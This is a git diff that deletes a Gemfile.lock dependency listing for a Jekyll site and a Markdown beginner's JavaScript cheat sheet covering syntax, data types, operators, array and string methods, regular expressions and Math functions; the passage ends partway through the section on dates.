-coffee-script (~> 2.2)
-coffee-script-source (~> 1.11.1)
-jekyll-commonmark (1.3.1)
-commonmarker (~> 0.14)
-jekyll (>= 3.7, < 5.0)
-jekyll-commonmark-ghpages (0.1.6)
-commonmarker (~> 0.17.6)
-jekyll-commonmark (~> 1.2)
-rouge (>= 2.0, < 4.0)
-jekyll-default-layout (0.1.4)
-jekyll (~> 3.0)
-jekyll-feed (0.13.0)
-jekyll (>= 3.7, < 5.0)
-jekyll-gist (1.5.0)
-octokit (~> 4.2)
-jekyll-github-metadata (2.13.0)
-jekyll (>= 3.4, < 5.0)
-octokit (~> 4.0, != 4.4.0)
-jekyll-mentions (1.5.1)
-html-pipeline (~> 2.3)
-jekyll (>= 3.7, < 5.0)
-jekyll-optional-front-matter (0.3.2)
-jekyll (>= 3.0, < 5.0)
-jekyll-paginate (1.1.0)
-jekyll-readme-index (0.3.0)
-jekyll (>= 3.0, < 5.0)
-jekyll-redirect-from (0.15.0)
-jekyll (>= 3.3, < 5.0)
-jekyll-relative-links (0.6.1)
-jekyll (>= 3.3, < 5.0)
-jekyll-remote-theme (0.4.1)
-addressable (~> 2.0)
-jekyll (>= 3.5, < 5.0)
-rubyzip (>= 1.3.0)
-jekyll-sass-converter (1.5.2)
-sass (~> 3.4)
-jekyll-seo-tag (2.6.1)
-jekyll (>= 3.3, < 5.0)
-jekyll-sitemap (1.4.0)
-jekyll (>= 3.7, < 5.0)
-jekyll-swiss (1.0.0)
-jekyll-theme-architect (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-cayman (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-dinky (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-hacker (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-leap-day (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-merlot (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-midnight (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-minimal (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-modernist (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-primer (0.5.4)
-jekyll (> 3.5, < 5.0)
-jekyll-github-metadata (~> 2.9)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-slate (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-tactile (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-theme-time-machine (0.1.1)
-jekyll (~> 3.5)
-jekyll-seo-tag (~> 2.0)
-jekyll-titles-from-headings (0.5.3)
-jekyll (>= 3.3, < 5.0)
-jekyll-watch (2.2.1)
-listen (~> 3.0)
-jemoji (0.11.1)
-gemoji (~> 3.0)
-html-pipeline (~> 2.2)
-jekyll (>= 3.0, < 5.0)
-kramdown (1.17.0)
-liquid (4.0.3)
-listen (3.2.1)
-rb-fsevent (~> 0.10, >= 0.10.3)
-rb-inotify (~> 0.9, >= 0.9.10)
-mercenary (0.3.6)
-mini_portile2 (2.4.0)
-minima (2.5.1)
-jekyll (>= 3.5, < 5.0)
-jekyll-feed (~> 0.9)
-jekyll-seo-tag (~> 2.1)
-minitest (5.14.1)
-multipart-post (2.1.1)
-nokogiri (1.10.9)
-mini_portile2 (~> 2.4.0)
-octokit (4.18.0)
-faraday (>= 0.9)
-sawyer (~> 0.8.0, >= 0.5.3)
-pathutil (0.16.2)
-forwardable-extended (~> 2.6)
-public_suffix (3.1.1)
-rb-fsevent (0.10.4)
-rb-inotify (0.10.1)
-ffi (~> 1.0)
-rouge (3.19.0)
-ruby-enum (0.8.0)
-i18n
-rubyzip (2.3.0)
-safe_yaml (1.0.5)
-sass (3.7.4)
-sass-listen (~> 4.0.0)
-sass-listen (4.0.0)
-rb-fsevent (~> 0.9, >= 0.9.4)
-rb-inotify (~> 0.9, >= 0.9.7)
-sawyer (0.8.2)
-addressable (>= 2.3.5)
-faraday (> 0.8, < 2.0)
-terminal-table (1.8.0)
-unicode-display_width (~> 1.1, >= 1.1.1)
-thread_safe (0.3.6)
-typhoeus (1.4.0)
-ethon (>= 0.9.0)
-tzinfo (1.2.7)
-thread_safe (~> 0.1)
-unicode-display_width (1.7.0)
-zeitwerk (2.3.0)
-
-PLATFORMS
-ruby
-
-DEPENDENCIES
-github-pages
-
-BUNDLED WITH
-2.1.4
diff --git a/docs/content/cheat-sheets/JavaScript-Guide.md b/docs/content/cheat-sheets/JavaScript-Guide.md
deleted file mode 100644
index 318df7fbcc..0000000000
--- a/docs/content/cheat-sheets/JavaScript-Guide.md
+++ /dev/null
@@ -1,5718 +0,0 @@
----
-title: JavaScript
-subtitle: JavaScript Cheat Sheet
-excerpt: >-
-    A Node.js app runs in a single process, without creating a new thread for every request. Node.js provides a set of asynchronous I/O primitives in its standard library that prevent JavaScript code from blocking and generally, libraries in Node.js are written using non-blocking paradigms, making blocking behavior the exception rather than the norm.
-date: '2021-11-21'
-thumb_img_path: images/3.jpg
-thumb_img_alt: JavaScript
-content_img_path: images/3.jpg
-content_img_alt: JavaScript
-seo:
-    title: JavaScript
-    description: A Node.js app runs in a single process, without creating a new thread for every request. Node.js provides a set of asynchronous I/O primitives in its standard library that prevent JavaScript code from blocking and generally, libraries in Node.js are written using non-blocking paradigms, making blocking behavior the exception rather than the norm.
-    extra:
-        - name: 'og:type'
-          value: article
-          keyName: property
-        - name: 'og:title'
-          value: JavaScript
-          keyName: property
-        - name: 'og:description'
-          value: JavaScript Cheat Sheet
-          keyName: property
-        - name: 'og:image'
-          value: images/3.jpg
-          keyName: property
-          relativeUrl: true
-        - name: 'twitter:card'
-          value: summary_large_image
-        - name: 'twitter:title'
-          value: JavaScript
-        - name: 'twitter:description'
-          value: JavaScript Cheat Sheet
-        - name: 'twitter:image'
-          value: images/3.jpg
-          relativeUrl: true
-template: page
----
-
-# The Complete JavaScript Reference Guide
-
-You will want to bookmark this
-
----
-
-### The Complete JavaScript Reference Guide
-
-<figure><img src="https://cdn-images-1.medium.com/max/800/0*In5wB-29T0Ud_zs3.jpg" class="graf-image" /></figure>### How to learn effectively
-
-**Learning**: The acquisition of skills and the ability to apply them in the future.
-
-**What makes an Effective learner?**
-
--   <span id="7504">They are active listeners.</span>
--   <span id="179b">They are engaged with the material.</span>
--   <span id="3193">They are receptive of feedback.</span>
--   <span id="17d8">They are open to difficulty.</span>
-
-**Why do active learning techniques feel difficult?**
-
--   <span id="7848">It feels difficult because you are constantly receiving feedback, and so you are constantly adapting and perfecting the material.</span>
-
-**Desirable Difficulty**
-
--   <span id="67c9">The skills we wish to obtain is often a difficult one.</span>
--   <span id="c939">We want challenging but possible lessons based on current level of skill.</span>
-
-**Effective learners space their practice**
-
--   <span id="59a4">Consistent effort &gt; cramming =&gt; for **durable knowledge**</span>
-
----
-
-### Getting visual feedback in your programs
-
-The first command we'll learn in JavaScript is `console.log`. This command is used to _print_ something onto the screen. As we write our first lines of code, we'll be using `console.log` frequently as a way to visually see the output of our programs. Let's write our first program:
-
-    console.log("hello world");
-    console.log("how are you?");
-
-Executing the program above would print out the following:
-
-    hello world
-    how are you?
-
-Nothing too ground breaking here, but pay close attention to the exact way we wrote the program. In particular, notice how we lay out the periods, parentheses, and quotation marks. We'll also terminate lines with semicolons (;).
-
-> _Depending on how you structure your code, sometimes you'll be able to omit semicolons at the end of lines. For now, you'll want to include them just as we do._
-
-### Syntax
-
-We refer to the exact arrangement of the symbols, characters, and keywords as **syntax**. These details matter — your computer will only be able to "understand" proper JavaScript syntax. A programming language is similar to a spoken language. A spoken language like English has grammar rules that we should follow in order to be understood by fellow speakers. In the same way, a programming language like JavaScript has syntax rules that we ought to follow!
-
-As you write your first lines of code in this new language, you may make many syntax errors. Don't get frustrated! This is normal — all new programmers go through this phase. Every time we recognize an error in our code, we have an opportunity to reinforce your understanding of correct syntax. Adopt a growth mindset and learn from your mistakes.
-
-Additionally, one of the best things about programming is that we can get such immediate feedback from our creations. There is no penalty for making a mistake when programming. Write some code, run the code, read the errors, fix the errors, rinse and repeat!
-
-### Code comments
-
-Occasionally we'll want to leave **comments** or notes in our code. Commented lines will be ignored by our computer. This means that we can use comments to write plain english or temporarily avoid execution of some JavaScript lines. The proper _syntax_ for writing a comment is to begin the line with double forward slashes (`//`):
-
-    // let's write another program!!!
-    console.log("hello world");
-
-    // console.log("how are you?");
-
-    console.log("goodbye moon");
-
-The program above would only print:
-
-    hello world
-    goodbye moon
-
-Comments are useful when annotating pieces of code to offer an explanation of how the code works. We'll want to strive to write straightforward code that is self-explanatory when possible, but we can also use comments to add additional clarity. The real art of programming is to write code so elegantly that it is easy to follow.
-
-**The Number Data Type**
-
-The **number** data type in JS is used to represent any numerical values, including integers and decimal numbers.
-
-**Basic Arithmetic Operators**
-
-Operators are the symbols that perform particular operations.
-
--   <span id="f533">**+** (addition)</span>
--   <span id="5b9f">**-** (subtraction)</span>
--   <span id="b98b">**asterisk** (multiplication)</span>
--   <span id="9a15">**/** (division)</span>
--   <span id="c752">**%** (modulo)</span>
-
-JS evaluates more complex expressions using the general math order of operations aka PEMDAS.
-
--   <span id="b6e3">**PEMDAS** : Parentheses, Exponents, Multiplication, Division, Modulo, Addition, Subtraction.</span>
--   <span id="9c25">_To force a specific order of operation, use the group operator ( ) around a part of the expression._</span>
-
-**Modulo** : Very useful operation to check divisibility of numbers, check for even & odd, whether a number is prime, and much more! _(Discrete Math concept, circular problems can be solved with modulo)_
-
--   <span id="cf5b">Whenever you have a smaller number % a larger number, the answer will just be the initial small number.  
-     console.log(7 % 10) // =&gt; 7;</span>
-
-**The String Data Type**
-
-The **string** data type is a primitive data type that used to represent textual data.
-
--   <span id="e1b0">can be wrapped by either **single** or **double** quotation marks, _best to choose one and stick with it for consistency_.</span>
--   <span id="f8ad">If your string contains quotation marks inside, can layer single or double quotation marks to allow it to work.  
-     "That's a great string"; (valid)
-    ‘Shakespeare wrote, "To be or not to be"'; (valid)
-    ‘That's a bad string'; (invalid)</span>
--   <span id="b2cb">Alt. way to add other quotes within strings is to use template literals.  
-     \`This is a temp'l'ate literal ${function}\` // use ${} to invoke functions within.</span>
--   <span id="7b1a">**.length** : property that can be appended to data to return the length.</span>
--   <span id="f633">empty strings have a length of zero.</span>
--   <span id="0a07">**indices** : indexes of data that begin at 0, can call upon index by using the bracket notation \[ \].  
-     console.log("bootcamp"\[0\]); // =&gt; "b"  
-     console.log("bootcamp"\[10\]); // =&gt; "undefined"  
-     console.log("boots"\[1 \* 2\]); // =&gt; "o"  
-     console.log("boots"\["boot".length-1\]); // =&gt; "t"</span>
--   <span id="6482">we can pass expressions through the brackets as well since JS always evaluates expressions first.</span>
--   <span id="e2f5">The index of the last character of a string is always one less than it's length.</span>
--   <span id="2271">**indexOf()** : method used to find the first index of a given character within a string.  
-     console.log("bagel".indexOf("b")); // =&gt; 0  
-     console.log("bagel".indexOf("z")); // =&gt; -1</span>
--   <span id="8d68">if the character inside the indexOf() search does not exist in the string, the output will be -1.</span>
--   <span id="d15e">the indexOf() search will return the first instanced index of the the char in the string.</span>
--   <span id="a275">**concatenate** : word to describe joining strings together into a single string.</span>
-
-**The Boolean Data Type**
-
-The **Boolean** data type is the simplest data type since there are only two values: **true** and **false**.
-
--   <span id="60da">**Logical Operators** (B*oolean Operators*) are used to establish logic in our code.</span>
--   <span id="139b">**!** (not) : reverses a Boolean value.  
-     console.log(!true); // =&gt; false  
-     console.log(!!false); // =&gt; false</span>
--   <span id="e412">**Logical Order of Operations** : JS will evaluate !, then &&, then ||.</span>
--   <span id="99ad">**Short-Circuit Evaluation** : Because JS evalutes from left to right, expressions can "short-circuit". For example if we have true on the left of an || logical comparison, it will stop evaluating and yield true instead of wasting resources on processing the rest of the statement.  
-     console.log(true || !false) // =&gt; stops after it sees "true ||"</span>
-
-**Comparison Operators**
-
-All comparison operators will result in a boolean output.
-
-**The relative comparators**
-
--   <span id="6fee">**&gt;** (greater than)</span>
--   <span id="0437">**&lt;** (less than)</span>
--   <span id="17ff">**&gt;=** (greater than or equal to)</span>
--   <span id="b2b4">**&lt;=** (less than or equal to)</span>
--   <span id="0c13">**===** (equal to)</span>
--   <span id="b73a">**!==** (not equal to)</span>
-
-Fun Fact: "a" &lt; "b" is considered valid JS Code because string comparisons are compared lexicographically (meaning dictionary order), so "a" is less than "b" because it appears earlier!
-
-If there is ever a standstill comparison of two string lexicographically (i.e. app vs apple) the comparison will deem the shorter string lesser.
-
-**Difference between == and ===**
-
-#### ===
-
-Strict Equality, will only return true if the two comparisons are entirely the same.
-
-#### ==
-
-Loose Equality, will return true even if the values are of a different type, due to coercion. (Avoid using this)
-
-**Variables**
-
-Variables are used to store information to be referenced and manipulated in a program.
-
--   <span id="c73d">We initialize a variable by using the **let** keyword and a **=** single equals sign (assignment operator).  
-     let bootcamp = "App Academy";  
-     console.log(bootcamp); // "App Academy"</span>
--   <span id="7849">JS variable names can contain any alphanumeric characters, underscores, or dollar signs (cannot being with a number).</span>
--   <span id="ad76">If you do not declare a value for a variable, undefined is automatically set.  
-     let bootcamp;  
-     console.log(bootcamp); // undefined</span>
--   <span id="2188">We can change the value of a previously declared variable (let, not const) by re-assigning it another value.</span>
--   <span id="47ca">**let** is the updated version of **var**; there are some differences in terms of hoisting and global/block scope</span>
-
-**Assignment Shorthand**
-
-let num = 0;  
- num += 10; // same as num = num + 10  
- num -= 2; // same as num = num — 2  
- num /= 4; // same as num = num / 4  
- num \*= 7; // same as num = num \* 7
-
--   <span id="9c05">In general, any nonsensical arithmetic will result in **NaN** ; usually operations that include undefined.</span>
-
-**Functions**
-
-A function is a procedure of code that will run when called. Functions are used so that we do not have to rewrite code to do the same thing over and over. (Think of them as ‘subprograms')
-
--   <span id="366f">**Function Declaration** : Process when we first initially write our function.</span>
--   <span id="676f">Includes three things:</span>
--   <span id="80c2">Name of the function.</span>
--   <span id="f3a4">A list of _parameters_ ()</span>
--   <span id="2b0e">The code to execute {}</span>
--   <span id="6879">**Function Calls** : We can call upon our function whenever and wherever\* we want. (\*wherever is only after the initial declaration)</span>
--   <span id="8374">JS evaluates code top down, left to right.</span>
--   <span id="2687">When we execute a declared function later on in our program we refer to this as **invoking** our function.</span>
--   <span id="0c3a">Every function in JS returns undefined unless otherwise specified.</span>
--   <span id="4207">When we hit a **return** statement in a function we immediately exit the function and return to where we called the function.</span>
--   <span id="e39f">When naming functions in JS always use camelCase and name it something appropriate.</span>
-
-Greate code reads like English and almost explains itself. Think: Elegant, readable, and maintainable!
-
-**Parameters and Arguments**
-
--   <span id="e94e">**Parameters** : Comma seperated variables specified as part of a function's declaration.</span>
--   <span id="6740">**Arguments** : Values passed to the function when it is invoked.</span>
--   <span id="004c">_If the number of arguments passed during a function invocation is different than the number of paramters listed, it will still work._</span>
--   <span id="7da5">However, is there are not enough arguments provided for parameters our function will likely yield **Nan**.</span>
-
-### Including Comments
-
-Comments are important because they help other people understand what is going on in your code or remind you if you forgot something yourself. Keep in mind that they have to be marked properly so the browser won't try to execute them.
-
-In JavaScript you have two different options:
-
--   <span id="356d">Single-line comments — To include a comment that is limited to a single line, precede it with `//`</span>
--   <span id="ee3a">Multi-line comments — In case you want to write longer comments between several lines, wrap it in `/*` and `*/` to avoid it from being executed</span>
-
-### Variables in JavaScript
-
-Variables are stand-in values that you can use to perform operations. You should be familiar with them from math class.
-
-### var, const, let
-
-You have three different possibilities for declaring a variable in JavaScript, each with their own specialties:
-
--   <span id="4b29">`var` — The most common variable. It can be reassigned but only accessed within a function. Variables defined with `var` move to the top when the code is executed.</span>
--   <span id="d234">`const` — Can not be reassigned and not accessible before they appear within the code.</span>
--   <span id="0e3b">`let` — Similar to `const`, the `let` variable can be reassigned but not re-declared.</span>
-
-### Data Types
-
-Variables can contain different types of values and data types. You use `=` to assign them:
-
--   <span id="b276">Numbers — `var age = 23`</span>
--   <span id="5571">Variables — `var x`</span>
--   <span id="e26c">Text (strings) — `var a = "init"`</span>
--   <span id="1312">Operations — `var b = 1 + 2 + 3`</span>
--   <span id="9880">True or false statements — `var c = true`</span>
--   <span id="335a">Constant numbers — `const PI = 3.14`</span>
--   <span id="7221">Objects — `var name = {firstName:"John", lastName:"Doe"}`</span>
-
-There are more possibilities. Note that variables are case sensitive. That means `lastname` and `lastName` will be handled as two different variables.
-
-### Objects
-
-Objects are certain kinds of variables. They are variables that can have their own values and methods. The latter are actions that you can perform on objects.
-
-var person = {
-
-firstName:"John",
-
-lastName:"Doe",
-
-age:20,
-
-nationality:"German"
-
-};
-
-### The Next Level: Arrays
-
-Next up in our JavaScript cheat sheet are arrays. Arrays are part of many different programming languages. They are a way of organizing variables and properties into groups. Here's how to create one in JavaScript:
-
-var fruit = \["Banana", "Apple", "Pear"\];
-
-Now you have an array called `fruit` which contains three items that you can use for future operations.
-
-### Array Methods
-
-Once you have created arrays, there are a few things you can do with them:
-
--   <span id="4e4b">`concat()` — Join several arrays into one</span>
--   <span id="5c02">`indexOf()` — Returns the first position at which a given element appears in an array</span>
--   <span id="45cd">`join()` — Combine elements of an array into a single string and return the string</span>
--   <span id="3a4e">`lastIndexOf()` — Gives the last position at which a given element appears in an array</span>
--   <span id="8fbb">`pop()` — Removes the last element of an array</span>
--   <span id="28e4">`push()` — Add a new element at the end</span>
--   <span id="0be2">`reverse()` — Sort elements in a descending order</span>
--   <span id="775e">`shift()` — Remove the first element of an array</span>
--   <span id="1063">`slice()` — Pulls a copy of a portion of an array into a new array</span>
--   <span id="53fd">`sort()` — Sorts elements alphabetically</span>
--   <span id="f551">`splice()` — Adds elements in a specified way and position</span>
--   <span id="c46b">`toString()` — Converts elements to strings</span>
--   <span id="ef66">`unshift()` —Adds a new element to the beginning</span>
--   <span id="4598">`valueOf()` — Returns the primitive value of the specified object</span>
-
-### Operators
-
-If you have variables, you can use them to perform different kinds of operations. To do so, you need operators.
-
-### Basic Operators
-
--   <span id="5d34">`+` — Addition</span>
--   <span id="5fd9">`-` — Subtraction</span>
--   <span id="3b13">`*` — Multiplication</span>
--   <span id="521a">`/` — Division</span>
--   <span id="cf0f">`(...)` — Grouping operator, operations within brackets are executed earlier than those outside</span>
--   <span id="bb2a">`%` — Modulus (remainder )</span>
--   <span id="e837">`++` — Increment numbers</span>
--   <span id="71ea">`--` — Decrement numbers</span>
-
-### Comparison Operators
-
--   <span id="a2b0">`==` — Equal to</span>
--   <span id="5105">`===` — Equal value and equal type</span>
--   <span id="c79c">`!=` — Not equal</span>
--   <span id="1f7f">`!==` — Not equal value or not equal type</span>
--   <span id="78c3">`>` — Greater than</span>
--   <span id="d40b">`<` — Less than</span>
--   <span id="081b">`>=` — Greater than or equal to</span>
--   <span id="d065">`<=` — Less than or equal to</span>
--   <span id="174d">`?` — Ternary operator</span>
-
-### Logical Operators
-
--   <span id="cb7b">`&&` — Logical and</span>
--   <span id="b1ee">`||` — Logical or</span>
--   <span id="96d4">`!` — Logical not</span>
-
-### Bitwise Operators
-
--   <span id="8cf7">`&` — AND statement</span>
--   <span id="02d5">`|` — OR statement</span>
--   <span id="e576">`~` — NOT</span>
--   <span id="9c66">`^` — XOR</span>
--   <span id="b343">`<<` — Left shift</span>
--   <span id="52b1">`>>` — Right shift</span>
--   <span id="1b5c">`>>>` — Zero fill right shift</span>
-
-### Functions
-
-JavaScript functions are blocks of code that perform a certain task. A basic function looks like this:
-
-function name(parameter1, parameter2, parameter3) {
-
-// what the function does
-
-}
-
-As you can see, it consists of the `function` keyword plus a name. The function's parameters are in the brackets and you have curly brackets around what the function performs. You can create your own, but to make your life easier - there are also a number of default functions.
-
-### Outputting Data
-
-A common application for functions is the output of data. For the output, you have the following options:
-
--   <span id="a7a7">`alert()` — Output data in an alert box in the browser window</span>
--   <span id="0c44">`confirm()` — Opens up a yes/no dialog and returns true/false depending on user click</span>
--   <span id="9690">`console.log()` — Writes information to the browser console, good for debugging purposes</span>
--   <span id="0d4d">`document.write()` — Write directly to the HTML document</span>
--   <span id="16aa">`prompt()` — Creates a dialogue for user input</span>
-
-### Global Functions
-
-Global functions are functions built into every browser capable of running JavaScript.
-
--   <span id="f4f1">`decodeURI()` — Decodes a <a href="https://en.wikipedia.org/wiki/Uniform_Resource_Identifier" class="markup--anchor markup--li-anchor">Uniform Resource Identifier (URI)</a> created by `encodeURI` or similar</span>
--   <span id="c203">`decodeURIComponent()` — Decodes a URI component</span>
--   <span id="176a">`encodeURI()` — Encodes a URI into UTF-8</span>
--   <span id="6720">`encodeURIComponent()` — Same but for URI components</span>
--   <span id="e97b">`eval()` — Evaluates JavaScript code represented as a string</span>
--   <span id="390b">`isFinite()` — Determines whether a passed value is a finite number</span>
--   <span id="5d46">`isNaN()` — Determines whether a value is NaN or not</span>
--   <span id="f668">`Number()` —- Returns a number converted from its argument</span>
--   <span id="a5ff">`parseFloat()` — Parses an argument and returns a floating-point number</span>
--   <span id="a666">`parseInt()` — Parses its argument and returns an integer</span>
-
-### JavaScript Loops
-
-Loops are part of most programming languages. They allow you to execute blocks of code desired number of times with different values:
-
-for (before loop; condition **for** loop; execute after loop) {
-
-// what to do during the loop
-
-}
-
-You have several parameters to create loops:
-
--   <span id="ff62">`for` — The most common way to create a loop in JavaScript</span>
--   <span id="7ad1">`while` — Sets up conditions under which a loop executes</span>
--   <span id="c2f4">`do while` — Similar to the `while` loop but it executes at least once and performs a check at the end to see if the condition is met to execute again</span>
--   <span id="7157">`break` —Used to stop and exit the cycle at certain conditions</span>
--   <span id="f5c0">`continue` — Skip parts of the cycle if certain conditions are met</span>
-
-### If — Else Statements
-
-These types of statements are easy to understand. Using them, you can set conditions for when your code is executed. If certain conditions apply, something is done, if not — something else is executed.
-
-if (condition) {
-
-// what to do if condition is met
-
-} **else** {
-
-// what to do if condition is not met
-
-}
-
-A similar concept to `if else` is the `switch` statement. However, using the switch you select one of several code blocks to execute.
-
-### Strings
-
-Strings are what JavaScript calls to text that does not perform a function but can appear on the screen.
-
-var person = "John Doe";
-
-In this case, `John Doe` is the string.
-
-### Escape Characters
-
-In JavaScript, strings are marked with single or double-quotes. If you want to use quotation marks in a string, you need to use special characters:
-
--   <span id="b4b1">`\'` — Single quote</span>
--   <span id="3b22">`\"` — Double quote</span>
-
-Aside from that you also have additional escape characters:
-
--   <span id="b412">`\\` — Backslash</span>
--   <span id="1592">`\b` — Backspace</span>
--   <span id="3a72">`\f` — Form feed</span>
--   <span id="145a">`\n` — New line</span>
--   <span id="1416">`\r` — Carriage return</span>
--   <span id="95d4">`\t` — Horizontal tabulator</span>
--   <span id="d962">`\v` — Vertical tabulator</span>
-
-### String Methods
-
-There are many different ways to work with strings:
-
--   <span id="2021">`charAt()` — Returns a character at a specified position inside a string</span>
--   <span id="d3e5">`charCodeAt()` — Gives you the Unicode of a character at that position</span>
--   <span id="fdd1">`concat()` — Concatenates (joins) two or more strings into one</span>
--   <span id="009c">`fromCharCode()` — Returns a string created from the specified sequence of UTF-16 code units</span>
--   <span id="7ed3">`indexOf()` — Provides the position of the first occurrence of a specified text within a string</span>
--   <span id="2937">`lastIndexOf()` — Same as `indexOf()` but with the last occurrence, searching backward</span>
--   <span id="142d">`match()` — Retrieves the matches of a string against a search pattern</span>
--   <span id="6c18">`replace()` — Find and replace specified text in a string</span>
--   <span id="e279">`search()` — Executes a search for a matching text and returns its position</span>
--   <span id="6bcd">`slice()` — Extracts a section of a string and returns it as a new string</span>
--   <span id="e4ee">`split()` — Splits a string object into an array of strings at a specified position</span>
--   <span id="3a27">`substr()` — Similar to `slice()` but extracts a substring depending on a specified number of characters</span>
--   <span id="3d14">`substring()` — Also similar to `slice()` but can't accept negative indices</span>
--   <span id="fa33">`toLowerCase()` — Convert strings to lower case</span>
--   <span id="3485">`toUpperCase()` — Convert strings to upper case</span>
--   <span id="4f96">`valueOf()` — Returns the primitive value (that has no properties or methods) of a string object</span>
-
-### Regular Expression Syntax
-
-Regular expressions are search patterns used to match character combinations in strings. The search pattern can be used for text search and text to replace operations.
-
-### Pattern Modifiers
-
--   <span id="bb29">`e` — Evaluate replacement</span>
--   <span id="b6b8">`i` — Perform case-insensitive matching</span>
--   <span id="4f50">`g` — Perform global matching</span>
--   <span id="4add">`m` — Perform multiple line matching</span>
--   <span id="a073">`s` — Treat strings as a single line</span>
--   <span id="482b">`x` — Allow comments and whitespace in the pattern</span>
--   <span id="f6ad">`U` — Ungreedy pattern</span>
-
-### Brackets
-
--   <span id="aae1">`[abc]` — Find any of the characters between the brackets</span>
--   <span id="e048">`[^abc]` — Find any character which is not in the brackets</span>
--   <span id="f9b5">`[0-9]` — Used to find any digit from 0 to 9</span>
--   <span id="ac71">`[A-z]` — Find any character from uppercase A to lowercase z</span>
--   <span id="6fce">`(a|b|c)` — Find any of the alternatives separated with `|`</span>
-
-### Metacharacters
-
--   <span id="dcd6">`.` — Find a single character, except newline or line terminator</span>
--   <span id="e944">`\w` — Word character</span>
--   <span id="c4bf">`\W` — Non-word character</span>
--   <span id="7b81">`\d` — A digit</span>
--   <span id="a533">`\D` — A non-digit character</span>
--   <span id="1fcc">`\s` — Whitespace character</span>
--   <span id="374c">`\S` — Non-whitespace character</span>
--   <span id="72d0">`\b` — Find a match at the beginning/end of a word</span>
--   <span id="2d38">`\B` — A match not at the beginning/end of a word</span>
--   <span id="859b">`\0` — NUL character</span>
--   <span id="df4d">`\n` — A new line character</span>
--   <span id="5acd">`\f` — Form feed character</span>
--   <span id="833f">`\r` — Carriage return character</span>
--   <span id="4f31">`\t` — Tab character</span>
--   <span id="e618">`\v` — Vertical tab character</span>
--   <span id="dcfc">`\xxx` — The character specified by an octal number xxx</span>
--   <span id="cf5e">`\xdd` — Character specified by a hexadecimal number dd</span>
--   <span id="978f">`\uxxxx` — The Unicode character specified by a hexadecimal number XXXX</span>
-
-### Quantifiers
-
--   <span id="e4cf">`n+` — Matches any string that contains at least one n</span>
--   <span id="be07">`n*` — Any string that contains zero or more occurrences of n</span>
--   <span id="4a93">`n?` — A string that contains zero or one occurrence of n</span>
--   <span id="91f0">`n{X}` — String that contains a sequence of X n's</span>
--   <span id="097b">`n{X,Y}` — Strings that contain a sequence of X to Y n's</span>
--   <span id="e9f2">`n{X,}` — Matches any string that contains a sequence of at least X n's</span>
--   <span id="15b3">`n$` — Any string with n at the end of it</span>
--   <span id="5fc9">`^n` — String with n at the beginning of it</span>
--   <span id="2b42">`?=n` — Any string that is followed by a specific string n</span>
--   <span id="6ffa">`?!n` — String that is not followed by a specific string ni</span>
-
-### Numbers and Math
-
-In JavaScript, you can also work with numbers, constants and perform mathematical functions.
-
-### Number Properties
-
--   <span id="3554">`MAX_VALUE` — The maximum numeric value representable in JavaScript</span>
--   <span id="c55d">`MIN_VALUE` — Smallest positive numeric value representable in JavaScript</span>
--   <span id="49e0">`NaN` — The "Not-a-Number" value</span>
--   <span id="3024">`NEGATIVE_INFINITY` — The negative Infinity value</span>
--   <span id="0bf4">`POSITIVE_INFINITY` — Positive Infinity value</span>
-
-### Number Methods
-
--   <span id="9478">`toExponential()` — Returns the string with a rounded number written as exponential notation</span>
--   <span id="2ad0">`toFixed()` — Returns the string of a number with a specified number of decimals</span>
--   <span id="d464">`toPrecision()` — String of a number written with a specified length</span>
--   <span id="2244">`toString()` — Returns a number as a string</span>
--   <span id="bc1e">`valueOf()` — Returns a number as a number</span>
-
-### Math Properties
-
--   <span id="9f68">`E` — Euler's number</span>
--   <span id="a4df">`LN2` — The natural logarithm of 2</span>
--   <span id="0f06">`LN10` — Natural logarithm of 10</span>
--   <span id="1a92">`LOG2E` — Base 2 logarithm of E</span>
--   <span id="42e7">`LOG10E` — Base 10 logarithm of E</span>
--   <span id="1fbe">`PI` — The number PI</span>
--   <span id="2a56">`SQRT1_2` — Square root of 1/2</span>
--   <span id="aab4">`SQRT2` — The square root of 2</span>
-
-### Math Methods
-
--   <span id="8836">`abs(x)` — Returns the absolute (positive) value of x</span>
--   <span id="ddb9">`acos(x)` — The arccosine of x, in radians</span>
--   <span id="a0c3">`asin(x)` — Arcsine of x, in radians</span>
--   <span id="c2ca">`atan(x)` — The arctangent of x as a numeric value</span>
--   <span id="8b93">`atan2(y,x)` — Arctangent of the quotient of its arguments</span>
--   <span id="b103">`ceil(x)` — Value of x rounded up to its nearest integer</span>
--   <span id="c68a">`cos(x)` — The cosine of x (x is in radians)</span>
--   <span id="d480">`exp(x)` — Value of Ex</span>
--   <span id="2954">`floor(x)` — The value of x rounded down to its nearest integer</span>
--   <span id="ff4d">`log(x)` — The natural logarithm (base E) of x</span>
--   <span id="b6a9">`max(x,y,z,...,n)` — Returns the number with the highest value</span>
--   <span id="dfb0">`min(x,y,z,...,n)` — Same for the number with the lowest value</span>
--   <span id="a6f1">`pow(x,y)` — X to the power of y</span>
--   <span id="8851">`random()` — Returns a random number between 0 and 1</span>
--   <span id="d32e">`round(x)` — The value of x rounded to its nearest integer</span>
--   <span id="fe9a">`sin(x)` — The sine of x (x is in radians)</span>
--   <span id="c244">`sqrt(x)` — Square root of x</span>
--   <span id="b5ef">`tan(x)` — The tangent of an angle</span>
-
-### Dealing with Dates in JavaScript
-
-You can also work with and modify dates and time with JavaScript. This is the next chapter in the JavaScript cheat sheet.
-
-### Setting Dates
-
--   <span id="b187">`Date()` — Creates a new date object with the current date and time</span>
